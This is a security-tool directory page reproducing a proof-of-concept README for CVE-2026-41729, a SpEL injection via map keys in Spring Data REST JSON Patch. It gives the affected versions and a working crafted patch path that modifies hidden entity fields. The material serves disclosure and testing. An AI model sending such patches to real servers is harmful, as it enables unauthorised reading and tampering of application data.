Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Tools/GitHubGitHub/daehyuh/cve-2026-41729
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

This repository is a minimal reproduction PoC for CVE-2026-41729, as disclosed in the official Spring security advisory.

  • Official advisory: https://spring.io/security/cve-2026-41729/
  • Official title: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Severity: High
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Disclosure date: 2026-06-09

Vulnerability Summary

When Spring Data REST processes a JSON Patch request (Content-Type: application/json-patch+json), it has an issue where map key path segments of a map-typed property are directly interpolated into SpEL expressions.

According to the official advisory, if a persistent entity exposes a Map-typed property and an attacker can send a PATCH request to that item resource, they can manipulate map key segments to break out of the intended map indexer literal and evaluate a SpEL sub-expression in the context of the aggregate root. Both read patch paths and write patch paths are affected.

This PoC uses a write patch path to demonstrate that a @JsonIgnore field, which is not exposed in the normal REST representation, can be modified via a crafted JSON Patch path.

Affected Range

Affected products per the official advisory:

  • Spring Data REST

Affected versions:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Older, unsupported versions may also be affected.

Fixed versions:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 or 4.5.11.1
  • 5.0.6 or 5.0.5.1

What This PoC Demonstrates

The test starts an actual Spring Boot application and sends an HTTP PATCH request to a Spring Data REST repository endpoint.

The domain object has the following structure:

  • An externally exposed people map
  • A hiddenChildren map inside each Person, but hidden from Jackson/Spring Data REST representation

In a normal REST response, hiddenChildren and its internal values are not visible.

root@kitploit:~
GET /wrappers/sample

A JSON Patch that directly addresses hidden properties is rejected.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

However, using a crafted map key, the JSON Patch path to SpEL path conversion process in Spring Data REST can break out of the intended map key literal and lead to hidden property paths.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

In a vulnerable version, this request succeeds and the internal value changes as follows:

root@kitploit:~
before -> after

The test confirms that the map does not have an actual key named a'].hiddenChildren['b, but rather that the hidden property path was modified due to expression breakout.

How to Run

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

Expected result with a vulnerable version:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

Test success means the vulnerability was reproduced. That is, with a vulnerable dependency, a crafted JSON Patch request succeeds, proving that the hidden internal state can be modified.

Dependencies Used

This repository uses a Spring Boot 3.5.14 parent, which resolves to spring-data-rest-webmvc 4.5.11. This falls within the affected range 4.5.0 - 4.5.11 per the official advisory.

Why It's Dangerous

An attacker who can send JSON Patch requests to a Spring Data REST endpoint can manipulate map keys to trigger unintended SpEL path evaluation on the server side. As a result, internal values in the object graph that the application intended to keep hidden from REST representation can be read or modified.

The official advisory rated the confidentiality and integrity impact as High.

Credit

The official Spring advisory credits:

  • Daehyun Kang (@daehyuh)

References

  • Official Spring advisory: https://spring.io/security/cve-2026-41729/
  • CVSS calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
Download Tool